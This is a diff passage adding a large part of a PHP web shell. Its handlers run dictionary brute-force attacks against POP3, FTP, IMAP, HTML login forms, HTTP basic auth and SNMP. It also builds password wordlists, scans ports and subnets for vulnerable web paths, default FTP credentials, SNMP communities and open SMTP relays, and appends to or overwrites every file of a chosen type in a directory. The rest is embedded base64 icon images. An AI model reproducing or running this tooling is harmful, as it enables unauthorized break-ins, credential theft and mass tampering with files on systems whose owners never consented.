+$type=$_REQUEST['combo'];
+$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
+$dictionary=fopen($_REQUEST['dictionary'],'r');
+if ($dictionary){
+echo "Cracking ".htmlspecialchars($target)."... ";flusheR();
+while(!feof($dictionary)){
+if($type){
+$combo=trim(fgets($dictionary)," \n\r");
+$user=substr($combo,0,strpos($combo,':'));
+$pass=substr($combo,strpos($combo,':')+1);
+}else{
+$pass=trim(fgets($dictionary)," \n\r");
+}
+$pop3=pop3logiN($target,$user,$pass);
+if($pop3==-1){echo "$errorbox Can not connect to server.$et";break;} else{
+if ($pop3){echo "U: $user P: $pass ";if(!$type)break;}}
+flusheR();
+}
+echo " Done ";
+fclose($dictionary);
+}
+else{
+echo "$errorbox Can not open dictionary.$et";
+}
+}else
+{ echo "POP3 cracker:$crack ";
+}
+echo " ";
+
+}
+if ($act == "ftp")
+{
+global $errorbox,$t,$et,$crack;
+if (!function_exists("ftp_connect"))echo "$errorbox Server does n`t support FTP functions$et";
+else{
+if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
+$target=$_REQUEST['target'];
+$type=$_REQUEST['combo'];
+$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
+$dictionary=fopen($_REQUEST['dictionary'],'r');
+if ($dictionary){
+echo "Cracking ".htmlspecialchars($target)."... ";
+while(!feof($dictionary)){
+if($type){
+$combo=trim(fgets($dictionary)," \n\r");
+$user=substr($combo,0,strpos($combo,':'));
+$pass=substr($combo,strpos($combo,':')+1);
+}else{
+$pass=trim(fgets($dictionary)," \n\r");
+}
+if(!$ftp=ftp_connect($target,21,8)){echo "$errorbox Can not connect to server.$et";break;}
+if (@ftp_login($ftp,$user,$pass)){echo "U: $user P: $pass ";if(!$type)break;}
+ftp_close($ftp);
+flusheR();
+}
+echo " Done ";
+fclose($dictionary);
+}
+else{
+echo "$errorbox Can not open dictionary.$et";
+}
+}
+else
+{
+echo "FTP cracker:$crack ";
+}
+echo " ";
+
+}
+}
+
+if ($act == "imap")
+{
+global $t,$et,$errorbox,$crack;
+if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
+$target=$_REQUEST['target'];
+$type=$_REQUEST['combo'];
+$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
+$dictionary=fopen($_REQUEST['dictionary'],'r');
+if ($dictionary){
+echo "Cracking ".htmlspecialchars($target)."... ";flusheR();
+while(!feof($dictionary)){
+if($type){
+$combo=trim(fgets($dictionary)," \n\r");
+$user=substr($combo,0,strpos($combo,':'));
+$pass=substr($combo,strpos($combo,':')+1);
+}else{
+$pass=trim(fgets($dictionary)," \n\r");
+}
+$imap=imaplogiN($target,$user,$pass);
+if($imap==-1){echo "$errorbox Can not connect to server.$et";break;}else{
+if ($imap){echo "U: $user P: $pass ";if(!$type)break;}}
+flusheR();
+}
+echo " Done ";
+fclose($dictionary);
+}
+else{
+echo "$errorbox Can not open dictionary.$et";
+}
+}else
+{
+echo "IMAP cracker:$crack ";
+}
+print (' ');
+
+}
+
+if ($act == "dic")
+{
+global $errorbox,$windows,$footer,$t,$et,$hcwd;
+if (!empty($_REQUEST['combo'])&&($_REQUEST['combo']==1)) $combo=1 ; else $combo=0;
+if (!empty($_REQUEST['range']) && !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){
+$min = $_REQUEST['min'];
+$max = $_REQUEST['max'];
+if($max<$min)die($errorbox ."Bad input!$et". $footer);
+$s =$w="";
+$out = $_REQUEST['output'];
+$r = ($_REQUEST['range']=='a' )?'a':'A';
+if ($_REQUEST['range']==0) $r=0;
+for($i=0;$i<$min;$i++) $s.=$r;
+$dic = fopen($out,'a');
+if(is_nan($r)){
+while(strlen($s)<=$max){
+$w = $s;
+if($combo)$w="$w:$w";
+fwrite($dic,$w."\n");
+$s++;}
+}
+else{
+while(strlen($w)<=$max){
+$w =(string)str_repeat("0",($min - strlen($s))).$s;
+if($combo)$w="$w:$w";
+fwrite($dic,$w."\n");
+$s++;}
+}
+fclose($dic);
+echo "Done ";
+}
+if (!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){
+$input=fopen($_REQUEST['input'],'r');
+if (!$input){
+if ($windows)echo $errorbox. "Unable to read from ".htmlspecialchars($_REQUEST['input']) ."$et ";
+else{
+$input=explode("\n",shelL("cat $input"));
+$output=fopen($_REQUEST['output'],'w');
+if ($output){
+foreach ($input as $in){
+$user = $in;
+$user = trim(fgets($in)," \n\r");
+if (!strstr($user,":"))continue;
+$user=substr($user,0,(strpos($user,':')));
+if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n");
+}
+fclose($input);fclose($output);
+echo "Done ";
+}
+}
+}
+else{
+$output=fopen($_REQUEST['output'],'w');
+if ($output){
+while (!feof($input)){
+$user = trim(fgets($input)," \n\r");
+if (!strstr($user,":"))continue;
+$user=substr($user,0,(strpos($user,':')));
+if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n");
+}
+fclose($input);fclose($output);
+echo "Done ";
+}
+else echo $errorbox." Unable to write data to ".htmlspecialchars($_REQUEST['input']) ."$et ";
+}
+}elseif (!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){
+$res=downloadiT($_REQUEST['url'],$_REQUEST['output']);
+if($combo && $res){
+$file=file($_REQUEST['output']);
+$output=fopen($_REQUEST['output'],'w');
+foreach ($file as $v)fwrite($output,"$v:$v\n");
+fclose($output);
+}
+echo "Done ";
+}else{
+$temp=whereistmP();
+echo "
+
+ ";}
+}
+
+if ($act == "htmlform")
+{
+global $errorbox,$footer,$et,$hcwd;
+if(!empty($_REQUEST['start'])){
+$url=$_REQUEST['target'];
+$uf=$_REQUEST['userf'];
+$pf=$_REQUEST['passf'];
+$sf=$_REQUEST['submitf'];
+$sv=$_REQUEST['submitv'];
+$method=$_REQUEST['method'];
+$fail=$_REQUEST['fail'];
+$dic=$_REQUEST['dictionary'];
+$type=$_REQUEST['combo'];
+$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
+if(!file_exists($dic)) die("$errorbox Can not open dictionary.$et$footer");
+$dictionary=fopen($dic,'r');
+echo "Cracking started... ";
+while(!feof($dictionary)){
+if($type){
+$combo=trim(fgets($dictionary)," \n\r");
+$user=substr($combo,0,strpos($combo,':'));
+$pass=substr($combo,strpos($combo,':')+1);
+}else{
+$pass=trim(fgets($dictionary)," \n\r");
+}
+$url.="?$uf=$user&$pf=$pass&$sf=$sv";
+$res=check_urL($url,$method,$fail,12);
+if (!$res){echo "U: $user P: $pass ";flusheR();if(!$type)break;}
+flusheR();
+}
+fclose($dictionary);
+echo "Done! ";
+}
+else echo " ";
+}
+
+if ($act == "basicauth")
+{
+global $errorbox,$et,$t,$crack,$hcwd;
+if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
+$data='';
+$method=($_REQUEST['method'])?'POST':'GET';
+if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));}
+spliturL($_REQUEST['target'],$host,$page);
+$type=$_REQUEST['combo'];
+$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
+if($method='GET')$page.=$data;
+$dictionary=fopen($_REQUEST['dictionary'],'r');
+echo "";
+while(!feof($dictionary)){
+if($type){
+$combo=trim(fgets($dictionary)," \n\r");
+$user=substr($combo,0,strpos($combo,':'));
+$pass=substr($combo,strpos($combo,':')+1);
+}else{
+$pass=trim(fgets($dictionary)," \n\r");
+}
+$so=fsockopen($host,80,$en,$es,5);
+if(!$so){echo "$errorbox Can not connect to host$et";break;}
+else{
+$packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass");
+if($method=='POST')$packet.="Content-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data);
+$packet.="\r\n\r\n";
+$packet.=$data;
+fputs($so,$packet);
+$res=substr(fgets($so),9,2);
+fclose($so);
+if($res=='20')echo "U: $user P: $pass";
+flusheR();
+}
+}
+echo "Done! ";
+}else echo " ";
+}
+
+if ($act == "snmp")
+{
+global $t,$et,$errorbox,$crack,$hcwd;
+if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
+$target=$_REQUEST['target'];
+$dictionary=fopen($_REQUEST['dictionary'],'r');
+if ($dictionary){
+echo "Cracking ".htmlspecialchars($target)."... ";flusheR();
+while(!feof($dictionary)){
+$com=trim(fgets($dictionary)," \n\r");
+$res=snmpchecK($target,$com,2);
+if($res)echo "$com ";
+flusheR();
+}
+echo " Done ";
+fclose($dictionary);
+}
+else{
+echo "$errorbox Can not open dictionary.$et";
+}
+}
+ echo " ";
+}
+
+
+
+if ($act == "scanner")
+{
+global $hcwd;
+if (!empty($_SERVER["SERVER_ADDR"])) $host=$_SERVER["SERVER_ADDR"];else $host ="127.0.0.1";
+$udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1;
+if (($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){
+$target=$_REQUEST['target'];$from=(int) $_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu = 0;
+echo "Port scanning started against ".htmlspecialchars($target).": ";
+$start=time();
+for($i=$from;$i<=$to;$i++){
+if($tcp){
+if (checkthisporT($target,$i,$timeout)){
+$nu++;
+$ser="";
+if(getservbyport($i,"tcp"))$ser="(".getservbyport($i,"tcp").")";
+echo "$nu) $i $ser (Connect ) [TCP] ";
+}
+}
+if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser="";if(getservbyport($i,"udp"))$ser="(".getservbyport($i,"udp").")";echo "$nu) $i $ser [UDP] ";}
+flusheR();
+}
+$time=time()-$start;
+echo "Done! ($time seconds) ";
+}
+elseif (!empty($_REQUEST['securityscanner'])){
+echo "";
+$start=time();
+$from=$_REQUEST['from'];
+$to=(int)$_REQUEST['to'];
+$timeout=(int)$_REQUEST['timeout'];
+$f = substr($from,strrpos($from,".")+1);
+$from = substr($from,0,strrpos($from,"."));
+if(!empty($_REQUEST['httpscanner'])){
+echo "Loading webserver bug list...";
+flusheR();
+$buglist=whereistmP().DIRECTORY_SEPARATOR.namE();
+$dl=@downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist);
+if($dl){$file=file($buglist);echo "Done! scanning started. ";}else echo "Failed!!! scanning started without webserver security testing... ";
+flusheR();
+}else {$fr=htmlspecialchars($from); echo "Scanning $fr.$f-$fr.$to: ";}
+for($i=$f;$i<=$to;$i++){
+$output=0;
+$ip="$from.$i";
+if(!empty($_REQUEST['nslookup'])){
+$hn=gethostbyaddr($ip);
+if($hn!=$ip)echo "$ip [$hn] ";}
+flusheR();
+if(!empty($_REQUEST['ipscanner'])){
+$port=$_REQUEST['port'];
+if(strstr($port,","))$p=explode(",",$port);else $p[0]=$port;
+$open=$ser="";
+foreach($p as $po){
+$scan=checkthisporT($ip,$po,$timeout);
+if ($scan){
+$ser="";
+if($ser=getservbyport($po,"tcp"))$ser="($ser)";
+$open.=" $po$ser ";
+}
+}
+if($open){echo "$ip) Open ports:$open ";$output=1;}
+flusheR();
+}
+if(!empty($_REQUEST['httpbanner'])){
+$res=get_sw_namE($ip,$timeout);
+if($res){
+echo "$ip) Webserver software: ";
+if($res==-1)echo "Unknow";
+else echo $res;
+echo " ";
+$output=1;
+}
+flusheR();
+}
+if(!empty($_REQUEST['httpscanner'])){
+if(checkthisporT($ip,80,$timeout) && !empty($file)){
+$admin=array('/admin/','/adm/');
+$users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www');
+$nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/');
+$cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/');
+foreach ($file as $v){
+$vuln=array();
+$v=trim($v);
+if(!$v || $v{0}=='#')continue;
+$v=str_replace('","','^',$v);
+$v=str_replace('"','',$v);
+$vuln=explode('^',$v);
+$page=$cqich=$nukech=$adminch=$userch=$vuln[1];
+if(strstr($page,'@CGIDIRS'))
+foreach($cgi as $cg){
+$cqich=str_replace('@CGIDIRS',$cg,$page);
+$url="http://$ip$cqich";
+$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
+if($res){$output=1;echo "$ip)".$vuln[4]." $url ";}
+flusheR();
+}
+elseif(strstr($page,'@ADMINDIRS'))
+foreach ($admin as $cg){
+$adminch=str_replace('@ADMINDIRS',$cg,$page);
+$url="http://$ip$adminch";
+$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
+if($res){$output=1;echo "$ip)".$vuln[4]." $url ";}
+flusheR();
+}
+elseif(strstr($page,'@USERS'))
+foreach ($users as $cg){
+$userch=str_replace('@USERS',$cg,$page);
+$url="http://$ip$userch";
+$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
+if($res){$output=1;echo "$ip)".$vuln[4]." $url ";}
+flusheR();
+}
+elseif(strstr($page,'@NUKE'))
+foreach ($nuke as $cg){
+$nukech=str_replace('@NUKE',$cg,$page);
+$url="http://$ip$nukech";
+$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
+if($res){$output=1;echo "$ip)".$vuln[4]." $url ";}
+flusheR();
+}
+else{
+$url="http://$ip$page";
+$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
+if($res){$output=1;echo "$ip)".$vuln[4]." $url ";}
+flusheR();
+}
+}
+}
+}
+if(!empty($_REQUEST['smtprelay'])){
+if(checkthisporT($ip,25,$timeout)){
+$res='';
+$res=checksmtP($ip,$timeout);
+if($res==1){echo "$ip) SMTP relay found. ";$output=1;}flusheR();
+}
+}
+if(!empty($_REQUEST['snmpscanner'])){
+if(checkthisporT($ip,161,$timeout,1)){
+$com=$_REQUEST['com'];
+$coms=$res="";
+if(strstr($com,","))$c=explode(",",$com);else $c[0]=$com;
+foreach ($c as $v){
+$ret=snmpchecK($ip,$v,$timeout);
+if($ret)$coms .=" $v ";
+}
+if ($coms!=""){echo "$ip) SNMP FOUND: $coms ";$output=1;}
+flusheR();
+}
+}
+if(!empty($_REQUEST['ftpscanner'])){
+if(checkthisporT($ip,21,$timeout)){
+$usps=explode(',',$_REQUEST['userpass']);
+foreach ($usps as $v){
+$user=substr($v,0,strpos($v,':'));
+$pass=substr($v,strpos($v,':')+1);
+if($pass=='[BLANK]')$pass='';
+$ftp=@ftp_connect($ip,21,$timeout);
+if ($ftp){
+if(@ftp_login($ftp,$user,$pass)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) $ip System type: ".ftp_systype($ftp)." ";}
+}
+flusheR();
+}
+}
+}
+if($output)echo " ";
+flusheR();
+}
+$time=time()-$start;
+echo "Done! ($time seconds) ";
+if(!empty($buglist))unlink($buglist);
+}
+else{
+$chbox=(extension_loaded('sockets'))?" TCP UDP":" ";
+echo " ";
+$host = substr($host,0,strrpos($host,"."));
+echo "";
+}
+}
+
+if ($act == "masscode")
+{
+if(isset($_POST['dir']) &&
+ $_POST['dir'] != '' &&
+ isset($_POST['filetype']) &&
+ $_POST['filetype'] != '' &&
+ isset($_POST['mode']) &&
+ $_POST['mode'] != '' &&
+ isset($_POST['message']) &&
+ $_POST['message'] != ''
+ )
+ {
+ $dir = $_POST['dir'];
+ $filetype = $_POST['filetype'];
+ $message = $_POST['message'];
+
+ $mode = "a"; //default mode
+
+
+ // Modes Begin
+
+ if($_POST['mode'] == 'Apender')
+ {
+ $mode = "a";
+ }
+ if($_POST['mode'] == 'Overwriter')
+ {
+ $mode = "w";
+ }
+
+ if($handle = opendir($dir))
+ {
+ ?>
+ Overwritten Files :-
+
+
+ ">
+ Permission Denied "; break;
+ fwrite($fd,$message);
+ }
+ }
+ ?>
+
+
+
+
+
+"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
+
+"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
+
+"back"=>
+
+"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
+
+"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
+
+"Wg0JADs=",
+
+"buffer"=>
+
+"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
+
+"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
+
+"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
+
+"change"=>
+
+"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
+
+"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
+
+"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
+
+"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
+
+"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
+
+"zMshADs=",
+
+"delete"=>
+
+"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
+
+"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
+
+"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
+
+"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
+
+"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
+
+"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
+
+"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
+
+"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
+
+"jwVFHBgiEGQFIgQasYkcSbJQIAA7",
+
+"download"=>
+
+"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
+
+"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
+
+"forward"=>
+
+"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
+
+"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
+
+"WqsJADs=",
+
+"home"=>
+
+"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
+
+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
+
+"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
+
+"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
+
+"mode"=>
+
+"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
+
+"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
+
+"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
+
+"refresh"=>
+
+"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA".
+
+"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY".
+
+"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ".
+
+"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
+
+"search"=>
+
+"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
+
+"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
+
+"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
+
+"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
+
+"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
+
+"setup"=>
+
+"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
+
+"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
+
+"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
+
+"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
+
+"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
+
+"small_dir"=>
+
+"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
+
+"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
+
+"small_unk"=>
+
+"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
+
+"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
+
+"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
+
+"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
+
+"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
+
+"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
+
+"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
+
+"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
+
+"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
+
+"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
+
+"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
+
+"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
+
+"yAsokBkQADs=",
+
+"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
+
+"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
+
+"sort_asc"=>
+
+"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
+
+"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
+
+"sort_desc"=>
+
+"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
+
+"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
+
+"sql_button_drop"=>
+
+"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
+
+"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
+
+"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
+
+"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
+
+"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
+
+"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
+
+"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
+
+"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
+
+"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
+
